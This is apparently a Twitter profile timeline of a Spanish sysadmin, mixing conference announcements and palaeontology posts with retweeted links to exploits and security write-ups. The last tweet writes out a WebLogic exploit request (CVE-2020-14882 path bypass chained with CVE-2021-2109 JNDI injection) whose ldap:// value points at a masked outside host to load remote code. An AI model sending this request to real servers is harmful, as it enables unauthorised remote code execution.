David Martínez

SysAdmin & Oneliner.
FreeBSD Fan since 2000.

[David Martínez @FreeBSDfan]

El 31 de enero empieza una de las principales conferencias de cyberseguridad de #Cantabria en el @HotelSantemar donde daré una ponencia en la que se explicarán diferentes tipos de formas de ayudar en la seguridad. Consigue tu entrada en https://t.co/pXQtAfXnTL @RevillaMiguelA

[Transmitting Science | Online courses and more @TransmitScience]

HOY a las 10 am se abren las inscripciones a las Jornadas de Puertas Abiertas en los yacimientos del Cerro de Batallones (Torrejón de Velasco, Madrid), es una actividad gratuita para todos los públicos. Este verano ¡Viaja al pasado!
https://t.co/BgI7o4Pp0k

[David Martínez @FreeBSDfan]

@argcPALEO @mdancho84 El 2

[0xedh @0xedh]

Hello! I have written an exploit for the Schneider M580 and M340 PLCs. You can bypass Safety Protection with it, plus I've added options to dump PLC memory blocks, and some other stuff.
https://t.co/BRuqqz4zhc

[Sec/Admln Cybersecurity Conference @secadm1n]

⚔️ #Secadmin2022 viene cargado de grandes expertos de #ciberseguridad y #hacking 🙌🏻
Consulta la agenda en➡️https://t.co/WlMe9BOeJ8

[Sec/Admln Cybersecurity Conference @secadm1n]

Nueva ponencia confirmada para #secadmin2022 de
@FreeBSDfan
🗣️ Charla: "Wild Web. Easy criticals at big corps"
Veremos como encontrar fallos web muy graves y muy fáciles de explotar en grandes empresas.
Si quieres asistir, consigue ya tu entrada en 👉🏻https://t.co/yUNTcGlRrV

[David Martínez @FreeBSDfan]

#NuevaFotoDePerfil @hackdotxxx

[Janggggg @testanull]

CVE-2022-36804 PoC 🧐
https://t.co/VOWswcy3Hm

[T31m0 @t31m0]

"Userland-Hooking using suspended processes"
Una de las técnicas más comunes utilizadas por los sistemas EDR y antivirus, las cuales se utilizan para monitorizar las actividades de aquellos procesos ejecutados en sistemas operativos Windows.
https://t.co/HquE5MXWN5

[MUY Interesante @muyinteresante]

Los fósiles de apenas unos milímetros nos ayudan a descifrar el pasado. https://t.co/0aocEVNfFc

[NCC Group Research & Technology @NCCGroupInfosec]

NCC Group has seen 5 instances of active exploitation of #log4j #log4shell against Mobile Iron instances over the last 24 hours - details are in our updated blog - https://t.co/QmcaxWgROf

[Janggggg @testanull]

CVE-2021–31474 SolarWinds Orion Deserialization PoC

[William Bowling @wcbowling]

Here’s a writeup of the recent ExifTool bug (CVE-2021-22204) I discovered while working on the #bugbounty program at @gitlab!

Issue was in the DjVu module but can be embedded it most other formats.

Make sure to patch GitLab and ExifTool!

https://t.co/sWxkHPTRJS

[0xedh @0xedh]

A few months ago my ISP charged me for a router. Let's have fun with it! Mitrastar MIPS router reversing and exploitation:
https://t.co/DpFMZztFmM

[ATTL4S @DaniLJ94]

Adjourn your asses!

"You Do (Not) Understand Kerberos Delegation" Slides and Videos (English & Spanish) now available!

https://t.co/7Rk15VuyBo

[Cobalt @cobalt_io]

Pentester Spotlight returns with Cobalt Core pentester @da3n3rys. Learn how Martina’s favorite video game, "La Aventura Original," ignited her journey into becoming an OffSec Certified Professional with over 11 years of experience in the latest blog here: https://t.co/0a7CIbirre

[Borja Martínez @Qm9yamFN]

@MovistarPlus @Telefonica 4 días sin internet, currando desde casa igual ya va siendo hora de que se pase el técnico.

[Andy Nguyen @theflow0]

Better late than never. BleedingTooth Linux Bluetooth RCE write-up and exploit have been published! https://t.co/9tDBODttpZ

[GRIMM Cyber @grimmcyber]

Found a couple exploitable bugs in the Linux kernel that would be old enough to drive.

Looking for a Linux Privilege Escalation that bypasses KASLR, SMEP, SMAP, *and* KPTI? Check out our latest #NotQuite0DayFriday release!

https://t.co/mXak3bNoCH

[Jas502n @jas502n]

#CVE-2021-2109(console)+CVE-2020-14882(unauth)

http://x.x.x.x:x/console/css/%252e%252e%252f/consolejndi.portal

POST
_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle("ldap://x.x.x;x:x/Basic/WeblogicEcho;AdminServer")